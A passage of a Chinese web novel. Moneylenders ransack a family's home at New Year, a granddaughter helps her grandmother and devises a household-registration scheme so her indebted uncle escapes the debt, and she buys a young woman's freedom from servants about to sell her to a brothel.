而王素娟一看是借印子钱的人,以为是他们认为过年,老太太应当被请到了儿子家过年。 心中嘲讽,这群人都做了印子钱这种黑心勾当,孝道倒是还守着。 她上前去堆着讨好的笑看向强子,说道:“我婆母不在这住,她还在那山坳里,你们去那寻就行。” 强子哥听到咧开嘴一笑,王素娟看到以为人家领了情,也跟着笑。 没想到下一瞬,强子哥凑近了,笑容收敛,怒目而视,大声吼道:“我找你!” 宋莺莺一看这不关他们夫妻俩什么事儿,立刻拽着丈夫回了屋,栓上门,吃自己的年夜饭。 王素娟听到这话有一瞬间的愣神,接着她重新摆出笑容,不解的问:“找我干啥啊?” “找你还能干啥啊,还钱!” 说着拿出了欠条,指着身后的邓栓子说:“还有你,你们夫妻两个,赶紧还钱!要不然......” 强子狞笑着,顺手拿过靠在窗户边的锄头,双手一握屈膝一顶,锄头把直接断裂。 “要不然就跟这锄头把一样,我让你俩过不去这个年。” 说着他们几人推开了面前面色苍白的邓栓子夫妇,大摇大摆的进了厨房。 邓家宝看到他们进来,不客气又耍威风的开口道:“你们谁啊?” 而一个小弟看到他那嚣张的样子,嘲讽一笑,直接给他推倒在地。 看到对方不好惹,邓家宝瞬间收了气焰,缩在角落里,一动不敢动。 他们看到那一桌子好菜好酒,兄弟几个直接坐下热闹开吃。 吃饱喝足之后,强子看着久久缓不过来的邓耧子夫妇,他不吝啬的夸赞:“嫂子手艺不错。” 接着转身问哪一间是他们的房间,王素娟大骇,心中一凛想要指向宋莺莺他们的屋。 结果被早就关注着院外动静的宋莺莺,给他们指了明路。 知道后,他们闯进屋内,打砸抢掠,很快就将他们的屋子抢劫一空。 不仅有了钱之后添置的新物件没了,连从前就有的旧物件都没放过。 甚至把被褥都丢出来烧了。 王素娟死命拦着,却怎么也拦不住。 她看着被洗劫一空的屋子,心灰意冷的坐在地上哀嚎。 邓栓子早就被那些人给绑住了手脚,堵了嘴,一身怒火无处发泄。 抢完之后,强子来到了王素娟面前,轻蔑的拍了拍她的脸, “一天不还钱,我就一天来闹一次,没钱我就拿东西,没东西可拿,我这群兄弟有的是力气,砸了你的屋,平了你的房也不是难事。” 说完手一招呼,和兄弟们剔着牙搬着东西满意的离开了。 院子里的王素娟,哭的上气不接下气,趁夜直接一家三口躲回了娘家。 那些人的动静之大,周围的邻居都听到了。 大年初一大家相互拜年本就热闹,不过吃顿饭的功夫,这件事竟然已经传遍了整个村子。 大家虽不知这其中的弯弯绕,但是有心者早就把婆媳大吵一架跟今天的事情串在一起。 又想起这个把月王素娟那吃香喝辣和穿新衣的嘚瑟样,一下就推出来邓老太上次说的是真的。 王素娟夫妇用了老太太的名义借了钱,虽然不知道发生了什么,但是现在这债得他们两口子还。 有记性好的,记起那日许芷说的话,真以为是邓老太无法偿还,让儿子和儿媳妇替了。 都说邓栓子这两口子,是搬起石头砸了自己的脚。 两口子一块给新年的热闹上添了笔笑谈,家家户户嗑瓜子的时候都少不了议论。 这些事情都是许芷去王茹娇家拜年听到的。 不过这些都在她的意料内,故而没那么惊讶,倒是王茹娇痛快一笑说这两人活该。 两人正聊着徐青云和王老太两人走过来,许芷赶紧站起身拱手给两人拜年。 婆媳俩笑呵呵的受着,一人递过去一个红包。 这是长辈对晚辈的美好祝愿,许芷没像平时那样客气,而是大大方方的接受了。 收下还说了两句吉祥话,听得婆媳俩笑的合不拢嘴。 差不多许芷就该回家吃饭了。 因为天没亮男人就都去祭祖,所以大年初一的第一顿饭吃的就晚一些。 许芷从王家出来,慢悠悠的走回了家。 刚走到院子就闻到了香气,她掀开门帘,看到祖母已经做好了饭。 “小指儿,吃饭了。” 许芷帮忙端饭,也看到了祖母口中的凉粉汤。 昨天做的凉粉切成了麻将块大小,里面的配菜有昨晚提前泡了的干菜,如黄花菜、木耳、香菇,木耳成丝、香菇成片。 还有黄豆芽和地里种的最后几棵菠菜。 本来邓老太还想放点大肠进去,但是因为孙女不吃,就切了点肉片。 这汤的做法是先用葱姜蒜炝锅,把肉片放进去炒出香味,加水等烧开,把准备好的菜和凉粉都放进去,调味即可。 许芷看着面前的饭,觉得没什么稀奇的,尝一口也是非常家常的口味。 不过虽然家常,但也偏偏是这种家常菜的味道最抚慰人心。 刚吃起来的时候也不觉得,但是越吃越觉得香。 一人喝了一碗之后,去祭祖的邓耧子回来了。 他可喜欢喝这个,因为一年到头就喝这一次,所以他一口气喝了两碗。 过年期间,许芷过的忙碌又悠闲,天天被王茹娇带着玩。 家里也没什么人来串亲戚,村里的就刘喜英一家、张立柱兄弟两个和王茹娇来了家里。 许芷也去了王三婶家里拜年。 日子过的快得很,一眨眼就到了正月十五,上元节。 许芷和王茹娇早就约好了今晚要去镇上赏花灯,邓耧子和张家兄弟俩一起去,要不然光他们两个小姑娘不安全。 第89章 上元佳节 下午许芷和祖母在家里准备做汤圆,北方叫元宵。 跟她们家那边不一样的是,这边的元宵是滚出来的,而他们的是包出来的。 馅料准备了两种,一种是黑芝麻馅,一种是花生馅儿。 黑芝麻的就很简单,黑芝麻混上少量的白芝麻,放在捣蒜的蒜臼里压碎,加上三勺白糖搅和匀了,用猪油做粘合剂搓成团。 蒜臼许芷用热水烫过,还用薄荷叶捣碎去过味。 花生馅儿的也一样,不过是把黑芝麻换成炒过去皮的花生。 做好了馅儿,开始滚元宵。 邓老太拿了个竹笸箩,笸箩上撒了一层糯米粉,搓成团的馅儿沾了点水丢进去开始摇。 摇到不沾面粉了,再沾水撒粉,最后摇到合适的大小就行了。 许芷看了觉得跟自己制药丸有一拼,她看祖母做了一批后,接手试了试。 适应的非常快,做起来也很得心应手。 没一会儿就把所有的馅料都弄完了。 “小芷真是心灵手巧的,看一看就会。” 邓老太笑着夸道,夸完拿了个碗,两个馅儿都装,装了一碗让许芷去送给张立柱他们家。 因为张家兄弟和邓耧子都想喝一口,但是因为做元宵的缘故,吃一碗就饱。 所以邓老太不想再炒菜什么的,他们三个人就约着一起吃,买了酒肉菜。 只是他们三个大老爷们,不会做元宵,只能让邓老太做好了给他们三个人送一碗。 许芷闻言听话的拿着碗就去了。 回来的时候,还带了些卤猪肉,是张家兄弟给的。 晚上煮元宵的时候,许芷添着柴看到水开了,拿起旁边的笸箩里的元宵,打算一下子全倒进去煮了。 虽然是两个馅儿但都是甜口的,也不用特地分开。 但是她还没倒进去,刚进来的邓老太看到立马夺了过来,从橱柜里另拿出了一碗汤圆倒进了锅里。 “先煮这个。” 许芷虽然不明白,但是觉得祖母肯定有自己的道理,说不准是什么她不知道的习俗。 等到吃的时候,祖母把先煮的那一碗放在了她的面前,许芷也没多想。 勺起一个咬下去,想象中的甜味并没有蔓延在舌尖,取而代之的是带着汁水的肉香味。 许芷眼神惊喜的看向祖母,邓老太倒是面色平常。 “不是想吃肉馅儿的元宵?我给你弄了点,不知道好不好吃。” “好吃。” 许芷肯定的说着,眼眶有些红了。 邓老太看她的样子,笑着打趣说:“过年顿顿吃肉,怎么吃个肉元宵还能红了眼?” 许芷连忙瞪大了眼睛,把眼眶的酸涩之意憋一憋。 这时听到了王茹娇的喊声:“小芷,吃完了吗?要走啦。” 许芷听到让王茹娇进来等她一会儿,她马上吃完就走。 吃完饭后,邓老太不让许芷刷碗,赶着她赶紧出去,不要让王茹娇再等。 出了山坳,走到村口,看到张家兄弟和舅舅邓耧子已经在树下等着了。 三人因为喝了酒,凑近些能闻到酒味。 除了邓耧子喝酒不脸红,张家兄弟两个脸都红的像是生了病。 王茹娇担心的看着他们两个,“怎么喝成这样?不是说了晚上要出去,你俩能行不?” 张立柱摆摆手不在意的说着:“放心吧,王丫头,我跟铁牛就这样,喝一口脸也这么红,就是看着吓人。 惦记着你跟许丫头要出去,俺们三个都没喝多少。” 听到他这么说,王茹娇还是有些不敢信,邓耧子也开口道: “没错,我们仨没喝多少,你俩放心,你要是不想去了,咱们现在也可以回去,我们哥仨就喝个够了。” “那不行。” 王茹娇反应立马变激烈,一年就这一次的灯会,今年娘才准她自己出来玩。 “那就走吧。” 邓耧子笑着头一个往前走着。 许芷知道有的人喝酒就是这样,一滴也容易脸红,所以她也不担心。 看着大家都没事人的样子,王茹娇也跟了上去。 镇上的花灯节没那么繁华,其实也就是夜肆,只是平时镇上没有夜肆。 主要是有好多卖花灯的摊子。 许芷对这些不太感兴趣,就是看个热闹。 王茹娇上了街先买了串糖葫芦,边吃边逛。 最后看到了一盏小兔子花灯,喜欢的紧就买下了。 张立柱出声让许芷也挑一个,可是许芷笑着摇摇头拒绝了。 他还想坚持,想着等许芷挑一个他送给许芷。 但是刚说让她再看看,邓耧子就说道:“这里的花灯没小芷喜欢的,别逼她选。” 闻言,张立柱有些尴尬的闭了嘴,张铁牛偷偷的撇了撇嘴,他都跟哥说过了,别想,还想。 他们逛了两圈,没见到有什么特别要买的,倒是吃了不少的小吃。 几人觉得差不多,就打算回家了。 到了村口几人分开,许芷和舅舅回了山坳,张家兄弟先去王家,把王茹娇送回家。 到了山坳,许芷远远就看到家门前亮的很,走近些才看到是一个半人高的流苏花树样式的花灯。 不用想都知道是谁送的。 这个花灯要比镇上花灯铺子上的那些精致的多,远远看过去还真以为是棵会发光的花树。 邓耧子啧啧称奇:“乖乖,看镇上的花灯以为很好看了,可跟这个比还真是天上地下。” 许芷看了几眼,直接要回家,并未有拿着的意思。 邓耧子不解的问:“这么好看的灯,你不拿进去啊?” “谁知道谁送的,无事献殷勤。” 许芷语气冷淡。 邓耧子一听也是,谁闲着没事会送这么好看的花灯,定然是对外甥女有所图。 想到这,他突然觉得这花灯不好看了,还把花灯移到了一边,才进了屋。 第二日,许久不见的邓栓子、王素娟夫妇来了山坳。 两个人来的时候偷偷摸摸的,见到了门口那精致的花灯,两个人还以为这是许芷特意为上元节准备的。 “妈的,这半个月咱俩躲躲藏藏,这丫头倒是过的好。” 邓栓子气坏了说道。 王素娟叹了口气说道:“行了,咱俩来是为了啥,可别忍不住脾气,事儿没办成。” 第90章 戳人肺管 邓栓子一想这半个月他过的苦日子,气恼极了,但也只能应下来。 “我知道,赶紧吧。” 他不耐的催促着王素娟。 王素娟敲门的手还没伸出去,门就被早起的邓老太打开了。 两人对上眼神一瞬间的尴尬。 邓老太蹙眉,赶人的话就在嘴边,还没来得及说出去。 就看到两人齐齐的跪下了,她瞬间哽住。 王素娟哭诉道:“娘,从前都是我跟栓子错了,是我们猪油蒙了心,做出那些个蠢事,伤了您的心,儿媳现在悔啊! 悔的日日夜夜都睡不好觉啊。” 邓老太闻言轻嗤一声,“我看是被催债的催的睡不好觉吧。” 听了这话,王素娟哭的一口气差点没上来,心里气得要死。 心想这死老婆子说话真是专戳人肺管子。 可她不能翻脸,还是继续哭:“娘,儿媳是真的知道错了。” 说完她胳膊肘碰了碰丈夫,邓栓子被碰,象征性的干嚎两声:“是啊娘,儿子知道错了,这不是立刻带着媳妇儿来给您磕头认错。” 话音落下两个人齐刷刷的磕了三个响头,只是当再直起身子的时候,本应在面前的邓老太却换成了一脸漠然的许芷。 两人瞬间黑了脸,给老太太磕头,就算是做戏也磕的,可是许芷算什么。 一个小辈受了他们三个大礼,都不怕折寿。 邓老太早在他们要磕头的时候,就躲到了一边。 他俩就是磕一百个头,她都受得起,不想受纯粹是知道他们俩就是黄鼠狼给鸡拜年。 结果被听到动静赶来的许芷受住了。 邓老太看到脸色一样难看,赶紧把许芷拽了过来。 “小辈受了长辈的礼,那可是要折寿的。” 这个道理许芷倒是懂,但她纯粹没把这两人放在眼里,受了就受了。 反正,不管是苏怀夕还是许芷,哪一个都没活的长久。 邓老太因为这个更气,直接去门口拿出了大笤帚要把两人赶走。 眼看她如此无情,王素娟手放在了小腹上,大声说道:“娘,你就不怕伤到你孙子吗?” 果然,听到这话,邓老太放下了手中的笤帚,有些不敢信的看了看两人。 而王素娟则是抓住这个机会,跪地上前抓住邓老太的袄子说:“娘,儿媳又有了,你可不能不管我们啊。” 邓老太对这两人心肠再硬,可听到自己又要有孙子或者孙女,她就没法视而不见。 只得缓了缓,开口沉声问道:“说吧,你们两个到底想干什么?” 王素娟和邓栓子看到老太太松了口,对视一眼难掩笑意。 只是对上邓老太的时候,脸上多了几分为难。 “娘,我们两口子过啥日子都是过,吃糠咽菜都没事,只是现在又有了孩子,我们要是欠着债该怎么过啊。” 这么说着,王素娟又哼哼唧唧的哭了起来。 邓栓子也跟上说道:“娘,是儿子没本事,可是你就看在孙子的份上帮帮儿子吧,就帮儿子把钱还上吧,许丫头有本事,一定能帮帮我们的。” “而且我们是借,会还的。” 王素娟补充道。 “对对对,是借,许丫头的恩情我们这辈子都记得。” 邓栓子说的情真意切。 说完看着邓老太愣住的神色,心里烦躁,面上却下了剂猛药。 “娘,你不知道那群人逼得娟儿前两天都见了红,差点孩子都不保啊。” 邓栓子说完痛哭流涕,仰天大喊:“儿啊,是爹无能,挡住了你的托生路啊。” “什么?” 一听这话老太太急了,她的孙子或孙女可不能有事啊。 孙子辈的本就没几个孩子,女儿梅子留下两个,只有一个在她身边。 老大家也就一个家宝,这好不容易又来了一个可不能出事啊。 可是她不可能让许芷出这个钱,那她成什么了? 当初这夫妻两个多番算计小芷,甚至要配冥婚,这才闹的分家。 她不舍得孙子是她的事,跟许芷也没关系。 而许芷挑眉看向这对悔不当初的夫妻俩,分明看到了眼神中算计,可祖母被孙辈冲昏了头,她此刻也不好劝说什么。 保不齐,自己一说什么,还起了反效果。 不过,与其被动,不如主动。 所以她也装作焦急地样子,安抚祖母。 “祖母莫急,不就是还钱嘛,能用钱解决的问题都不是问题,只是大舅和大舅母到底欠了多少啊,能帮我肯定帮,帮不上那就没办法了。” 祖母闻言重重的捏了下许芷的手,皱眉瞪她,不让她应承:“小指儿,你姓许,这是邓家的事儿,你可别掺和。” 看到这会儿邓老太把许芷撇出去了,这夫妻两个是真想骂娘了。 一个老婆子,哪来的钱帮他们还债,还不是得靠许芷这件丫头,摘出去她,他们两个今天何必搞这一出。 只是没等他们两个说什么,却听到许芷开口道: “祖母,不管是邓还是许,那就是一个姓,我是在咱们邓家长大的,自然跟咱们有情分,帮忙是应该的。” 邓老太啧一声还想说什么,邓栓子赶紧扑到亲娘面前。 “娘啊,许丫头说的是啊,这丫头多懂事啊,从前都是舅舅多有不对,在这给你道个歉,就让过去的事情都过去把。” 王素娟:“是啊,娘,你看许丫头也愿意,咱们毕竟是一家人。” 听着这夫妻俩一唱一和,邓老太有心不想让许芷管,可是这丫头自己都要管,她还能说啥。 只能等这夫妻俩走了,她再说许芷。 至于还钱的事情,家里有鸡蛋有鹅蛋又不是不能卖,再不济她还有一双手,不管是编竹篮,还是洗衣服,总有她能干的了的。 “什么愿意不愿意的,你俩还差多少?” 邓老太知道他俩欠的还是上次的钱,一共借了百两。 只是一百两哪是那么容易花完的,村里人一年到头都花不了二两银,剩下的都还回去应该就不差什么了。 因为在邓老太的认知里,这件事是许芷找了官府的人摆平的。 既然官府都介入了,那就应该借多少还多少。 现在又过了这么些天,最起码这俩人努努力也能还上点,肯定差不多了。 第91章 欠一千两 一听邓老太松了口,这俩人同步嘴角上扬,掩饰不住的喜悦。 只是对上邓老太的目光,两个人拼命收敛。 王素娟扭捏着开口道:“娘,其实也没多少。” 说完伸出了一根手指头。 “一两?” 邓老太问,王素娟摇了摇头。 “十两?” 邓老太又问,王素娟还是摇头。 再往下可是一百两了,那就等于这俩人一文没还啊。 她立刻有些火了:“你俩还欠一百两!这么些日子了,就没还上一点?” “娘,不是一百两!” 邓栓子有些急了。 邓老太再一想,不是百两,那再高也不可能了呀。 她只能往下想,难道是一钱? 一钱就容易多了,不就是一百个铜板,她卖两篮子鹅蛋就能挣到。 同时心里觉得儿子和儿媳没出息,这么大的人了,一百个铜板都还不起。 她不耐道:“不就是一钱,赶紧起来吧,就这点钱也值得你们过来在这哭天抢地。” 许芷听到有些不可思议的看了祖母一眼,心想祖母想的可真是太天真了。 不过祖母这辈子都没接触过印子钱这么个东西,不懂也是情理之中。 她叹了口气,故作试探:“大舅,大舅母,总不能是一千两吧。” 这话一出,邓老太立刻否认,“怎么可能呢?这俩人这辈子都见不到一千两长啥样。” 可说完看向儿子儿媳那乱瞟的眼神,她就知道这是真的。 邓老太气的没忍住一拳头砸在了儿子的身上:“造孽啊,你俩怎么能欠一千两银子,那是一千两! 不管!你俩愿意咋还就咋还,那都是你俩作的。” 说完拉着许芷的手就要回去。 可邓栓子一看母亲翻了脸,他赶紧跪扑上去,哭求道:“娘,你不能不管儿子啊,就算不管儿子,难道不要孙子了吗?” 邓老太重重的呼出一口气,转身看着儿子和儿媳,厉声问:“我怎么管?我问你我怎么管?那是一千两,把咱一家人都卖了也凑不够。” 王素娟在一边插嘴道:“那不是许丫头说了,帮我们还,许丫头能盖这气派的院子,肯定能帮得上。” “你还好意思说!一两银许丫头说借我也就不说什么,可那是一千两,你从前待她如何,你自己心中没数?” 邓老太再不舍得孙子,可有那一千两横在那,说什么都不行。 要是这孩子还没生下来家里就欠下如此巨债,那生下来也是受罪的份儿。 看着王素娟又准备拿孙子说事,她直接把刚刚的想法说了出去。 夫妻俩一听,见邓老太是铁了心不管。 一改刚刚那忏悔到痛哭流涕的模样,尖酸刻薄道:“死老太婆,你竟然想害你孙子!” 王素娟咬牙切齿的说着。 “钱是你俩借的,要害也是你俩害,说不到我头上。” 邓老太这会儿脑子无比清醒,惹得许芷都刮目相看。 “你!” 王素娟气的都说不出来话来。 邓栓子也恨咄咄的看着母亲,没想到母亲这么不好骗。 “行,那你可别后悔,我现在就去城里要一包打胎药,跟这孩子说,是他亲奶奶不要他!” 邓老太闻言,摆摆手让他赶紧去。 看着邓老太软硬不吃的样子,这俩人气的都没脾气了。 不过许芷有自己的想法,看着三人紧张的气氛,她开口劝慰祖母道:“祖母,消消气,毕竟是一家人。” 听到劝人的竟然是许芷,邓栓子夫妇不由得看向她,满是不信。 许芷扯起一抹无害的笑容,回应他们两个,反而让两个人看的心里毛毛的。 “这丫头到底啥意思,平时都是跟咱们对着干,今儿是咋了?” 王素娟凑近邓栓子耳朵,低声道。 邓栓子也疑惑着,并不接话。 许芷又说道:“大舅,大舅母,我倒是想帮你们,可是一千两银子确实太多了,我真帮不了。” 还以为这丫头说那些话,是要帮他们还,结果说了半天还是不还。 邓栓子夫妻俩都白了她一眼。 “不过......” 许芷继续开口,三人都齐刷刷的看向她。 “我有一法子,倒是能帮一帮。” “你这丫头就别卖关子了,若是有好办法快说就是。” 邓栓子快急死了。 许芷无视了祖母阻拦的手,开口道:“这欠条的凭据无非就是户头,可若要是对不上,那就不用还了吧。” 邓栓子愣住,一想确实是这么个道理,“那你说怎么个对不上法?” 许芷有些犹豫,不敢说的样子。 这样子看的王素娟两口子急的冒汗。 “你就说吧,许丫头,就是个法子,不成我们还能吃了你啊?” 如此许芷就不藏着掖着了。 “好说,舅舅,这法子就是你入赘到舅母家。” 邓栓子一听火气一下就上来了,他堂堂五尺男儿,怎么能入赘到王家。 何况是成婚十几载才入赘,这让他的脸往哪搁? 许芷猜到了邓栓子会这样情绪激动,可她看向王素娟的时候,分明那人是开始考虑的神色。 她故作后悔的说道:“都是我乱说话,让舅舅生气了,可是我就只有这一个法子,毕竟换户头还好,起码不用还钱,人也好好的。 要是还不上,那些人的手段舅舅比我清楚,当然了这还是得看舅舅的想法,我就是随口一说。” 邓老太也觉得许芷说得对,还不上那些人还指不定怎么办呢,只要人能好好活着,不就是个户头,她当母亲的都不说啥。 “就是,老大,小芷就是帮你想个法子,你愿不愿意都是你自己的事儿。” 邓栓子还想说点啥,却被许芷说动了心的王素娟拦住。 “好了,既然娘和这丫头都帮不上,咱们就走吧,别在这丢人了。” 邓栓子明显不服气,可不知道王素娟在他耳边说了什么,两人转头就走,连一声招呼都没打。 邓老太看着这俩人的背影,深深地叹了口气,这是给自己生祖宗啊。 “我这上辈子定然是对这两人做了穷凶极恶之事,要不然也不会有这么一对儿子儿媳。” 许芷被祖母的话逗乐了。 听到她笑,邓老太严肃的跟她说:“以后可不要这样了,吓死祖母了,还以为你真要管。” 第92章 大舅入赘 “哪有啊祖母,我就算是个傻的,真愿意还,我也拿不出来一千两银啊。” 许芷苦笑着说。 邓老太还是不放心的多说了几句,许芷都很听话的答应了,这才放心一些。 回到屋子,许芷收了笑容,她心想若是这个法子这夫妻俩真的用了,她还能多几亩地。 虽然她本没有惦记这些,但是这两人扮可怜都找上门了,不要白不要。 果真,过了几天王茹娇就兴冲冲的跑进山坳说道:“小芷!你猜发生了什么大事!” 许芷正在照顾那些绣球花,头也不抬的说道:“我大舅入赘了?” 此话一出,王茹娇见鬼了一样的看着她。 “你咋知道的?” 许芷浇完了桶里的最后一点水,直起腰看着她说道:“因为这法子是我出的。” “什么?” 王茹娇震惊的看着许芷,接着伸出了大拇指,“替天行道啊,女侠。” “挨不上替天,起码是替我自己。” 许芷很是谦虚的说着,顺手将水桶给了王茹娇。 “帮我提水,咱俩一起浇花,我一个人太慢。” 两人一起去了河边,一人一桶水往家里拎。 这跟许芷想象的时间差不多,毕竟那两口子再想拖着,那放印子钱的人可不干。 逼急了没办法,自然就选了这个下下策。 既然户头改了,那么有些东西该清算也要算一算。 这两天先不急,先让这两口子狂一狂再说。 听许芷讲了事情经过,王茹娇半天只重复一个字:“该!” “不过,要是他们俩户口不在咱们村,按说那些地也不是他们的了,还有那房子。” 许芷嗯一声,“应当是我二舅和小舅分。” “地分给你小舅的话,你不就多了几亩地来种药材?” 王茹娇语气里透露着理所当然。 毕竟他们都知道邓耧子常年出去做工,不在地里耕耘。 许芷顿住了一瞬,她当时也是这么理所当然的想的。 但是现在想想,还是要看小舅的想法,而不是她的想法。 不过她是这么想,可没说不给舅舅钱,租地的钱肯定是要给的。 到时候要是忙不过来,需要舅舅帮忙的地方还多着,舅舅的工钱也是要给的。 只是她觉得自己想的太自我,没有考虑舅舅的想法。 仔细想想,舅舅靠做工挣的钱毕竟还是少,要是把舅舅培养成了,到时候买药苗,管理药田,都是一把好手,挣的钱那可就多了。 她的想法可不止药田,迟早有一天她要出了这个村子的,到时候,村子里要留个可信又可靠的,那不就是舅舅嘛。 想通了这个,许芷决定让舅舅多多的参与进来,看到种药田有多赚钱才行。 地她想用舅舅一定给,但是她得让舅舅看到这地种的有多值。 想清楚这些,许芷也浇完了花。 她寻思着已经开春了,是时候去趟城里了。 说去就去,第二日正好是集,许芷进了城。 到了怀清堂,杜仲看到了她,笑着给她贺新年。 毕竟是年后第一次见,就算年早就过了,也图个喜庆。 许芷也笑着回应。 寒暄过后,杜仲看许芷没拿药材,他以为许芷来拿制丸的东西,引着她就要往后院走。 许芷笑着拒绝道:“我今日来不是为了这事儿。” 杜仲愣住一瞬,又摆上笑脸问道:“那许姑娘今日来是?” “我要见你们东家。” 许芷直接说道。 杜仲闻言也并未觉得惊讶,只是道:“那麻烦姑娘等会儿,我这就去问问东家。” 许芷嗯了声,自己在铺子里找了个地方坐下。 不消一会儿,宋清奕衣角带风已经出现在了许芷的面前,他看起来有些惊讶,眼神里带了些喜色。 许芷只是浅浅的看了他一眼,将那一千两银票拿了出来。 “买药只花了一两,算上照顾他的时日,你给十两就行。” 她的语气淡漠又疏离,听的宋清奕胸口闷闷的。 他坐在许芷身侧,温声说道:“钱你就拿着吧,总要有用处的,何况这些对我来说并不多。” “你父亲是皇商,自然不多。” 许芷这话只是实话实说,并无其他之意,可让宋清奕脸色一白。 她无视了他不好的脸色,继续道:“只是我也不是那挟恩图报之人,十两已然是我多要,你若是坚持,你给多少我扔多少。” “我知道这件事对你打击很大,可——” 宋清奕的话被许芷打断。 “我好不容易重新开始,你一定要提醒我这些吗?” 他被许芷的眼神给刺痛了,只能答应。 十两拿到手之后,许芷没有丝毫耽搁就要离开。 走之前,她对宋清奕说道:“我不是从前的苏怀夕了。” 说完她快速离开,宋清奕站在原地,望着她的背影消失在人群里。 他低喃道:“是我、是我们对不住你。” ...... 许芷她也不想对宋清奕这么冷漠,可是她心里装着事儿,她还有很多事情要做。 她走在街上,打算去铁匠铺子看看买点用的东西,开春了,药田也要忙起来。 正盘算着要买什么的时候,突然她被人撞了一下。 一个蓬头垢面的小娘子,此时慌张的往前跑,一时着急才撞了她。 许芷不在意的想要把人拉起来,还没碰到,几个家丁模样的人追上来。 这小娘子慌张往许芷身后躲。 “你个死丫头,太太没让你把偷了的东西还回来已是恩赐,你还敢逃?” “我娘没有偷,明明是你们诬陷!” “诬陷?你们娘俩有什么能让我们诬陷你的,我告诉你,趁早跟我们回去,那绘春楼还要你。” 许芷知道绘春楼是城里最大的妓院,就算是偷了东西,打一顿赶出府就是,何必把人卖到绘春楼。 她皱了皱眉,却不想沾染这些事。 可那小娘子力气大的很,似乎是把她当了唯一的救命稻草。 抓着她的手腕就是不松,躲在她的身后说道:“你们就是故意欺负人,要把我卖到绘春楼,不如直接杀了我。” 为首的家丁闻言嘲讽一笑,恩施一般的开口道:“那你问问是否有人愿意买你,补上你娘偷的十两银子的亏空,我们就不计较放你走。” 那家丁敢这么说是因为他知道十两银子不是小数,他打包票,这街上的人没有谁能一口气拿出这些钱。 这也不是什么皇城脚下,就算是城里的人,十两银子也得攒一攒的。 第93章 恻隐之心 许芷另一只手感受了一下袖袋里的十两银子。 就这么正好? 正好是十两银子? 该不会是自己在怀清堂拿钱的时候,被谁看到了,故意来这一出,就为了这些钱。 那女子眼见自己逃不过,她朝许芷跪地磕头道:“我跟我娘本是杨府的绣娘,不知为何被人构陷,我娘为证清白一场大火下来,就剩了我一个,可他们还不肯放过我,要把我卖进绘春楼,求求好心人,就帮帮我吧,若要我进了绘春楼,不如也让我死在那火里。” 本来觉得自己可能被做局,可此刻听到大火这两个字,许芷愣住。 她的家人也都死在了火里,所以她动了恻隐之心,就算是自己被骗也认了。 何况当时救宋昭奕她也没想着要钱,这十两银子买个心安。 正当孟雨兰以为自己求人未果的时候,听到面前清冷的女子缓缓开口道:“这钱我替她补上。” 说着拿出了钱袋子,递给了对面的家丁。 孟雨兰震惊的看着许芷,没想到对方真的肯帮忙。 杨府的家丁看真有冤大头愿意帮忙,还是个女的,又不能把人带回去当媳妇儿,图什么? 不过为首的家丁起了歪心思,反正这女的逃了出来,他们说没抓到就是没抓到,府里的太太小姐也不会把这么个贱奴放在心上。 把这钱收下那就是他们自己的了。 “那行啊,既然巾帼救美,我们得成全啊。” 说着这家丁就要去拿钱,许芷却在他快要拿到的时候,往里收了一下。 那家丁不满的看了她一眼,随即想到了什么。 从胸前拿出了孟雨兰的卖身契,交给了许芷。 许芷看过,没什么问题,直接撕碎,又把钱给了过去。 为首的家丁痛快的拿了钱,恶狠狠地指着孟雨兰说道:“算你这臭丫头命好,赶紧滚吧。” 拿了钱几个家丁迅速的撤离。 而孟雨兰似乎还不敢相信自己已经死里逃生,愣在原地不动。 许芷也没指望这钱花了能怎样,就当是买了她自由。 于是见没了危险,转身就要走。 等到她走出很远,孟雨兰才回过神,看到恩人走了赶紧追上去。 “噗通”一声跪在许芷面前,磕头言谢。 “恩人的大恩大德雨兰永生永世都难忘。” 说着她拿出了怀里藏着的母亲遗物,是一个银镯子。 “恩人,这是我娘的遗物,那钱不让你花,我还你。” 刚刚她跪求许芷其实更像是拖延时间,她以为许芷拿不出十两银子。 但是她怀里的镯子也不敢当着家丁的面拿出,怕又被安上盗窃的罪名。 正当她想着该怎么办的时候,却听到了许芷的声音,让她感动又惊讶。 她跟这位小娘子都没见过,却愿意为她帮忙。 这会儿已经没事了,才敢拿出这个银镯子还给恩人。 许芷看着面前言辞恳切的孟雨兰,她摇了摇头道:“既是令堂遗物,断没有给我的道理,收回去吧。” 说完她绕过孟雨兰就要走,可孟雨兰又追上。 “恩人若是不要,我就去当铺当了,换成银子,买成米面粮油跟着恩人把东西都送到家里。” 许芷挑眉看向对方,“你知道十两银子能买多少米面粮油吗?” 孟雨兰嘿嘿一笑:“恩人不用担心我拿不下,我只买够我能拿下的量,剩下的银子我塞进米里或者面里,总之不会让恩人花这个钱的。” 许芷一时哽住,她倒不是这个意思。 她是觉得与其把钱给她,不如孟雨兰自己拿着钱生活。 故而她将自己的想法说了出来,孟雨兰一听眼睛更亮。 “恩人,你扶危救困已然是高贵品格,没想到还如此的为人着想,简直就是九天仙女一般的存在。” 孟雨兰的声音有点大,街上的人都看向许芷,她脸色讪讪,只想赶紧走。 “总之,镯子我不会要,你快走吧。” “走?”孟雨兰愣住,“往哪走啊?” 这下换许芷疑惑了,“你现在自由了,还不走?” “你救了我,我就是你的人了。” 孟雨兰说的理所当然。 许芷哽住,无奈解释道:“我没有买你的意思。” 孟雨兰:“那不行,你花了钱的,也不要镯子,也不要我,那你不亏了?” 许芷无奈,拿过孟雨兰手里的镯子,“现在镯子我拿了,咱们俩清了。” “那还是不行。” 孟雨兰又拦在了许芷面前。 许芷表情有些不耐,皱眉看向孟雨兰。 孟雨兰感受到了许芷的不悦,但还是硬着头皮说道:“我没了家人,也被赶了出来,不知道能去哪,你就收留我吧,我什么都能干,我会做一手好菜,绣工也不错,我人也勤快......” 说到最后声音越来越小,底气不足的看向许芷。 许芷微不可查的叹了口气,想着她刚失了家人,孤身一人迷茫不知道该去向何方,需要一个依靠她能理解。 故而松口道:“我只是暂时收留你,你要尽快找个想要的去处。” “好!” 孟雨兰满口保证道。 “我叫孟雨兰,你叫什么呀?” “许芷。” “你名字真好听,你看着比我小,我年十七,你呢?” “......” 两人到了铁匠铺子,许芷问道:“有没有两头用的锄草小铲子?” 铁匠一听进去拿了个纯铁的小铲子出来,一头是平的铲子,一头是弯的小锄。 平的可以铲野菜、铲药苗,那头小锄可以除草。 小小一个拿到手里很是方便,用这个再上山就方便多了。 许芷问过多少钱,很快买了两个。 见到她买这个,孟雨兰说道:“这个用在家里的小菜地方便些,你放心地里我也是一把好手,我可能干了。” 就是有一点没说,她能干也能吃,吃的比寻常的女子都多些。 第94章 薄皮汤包 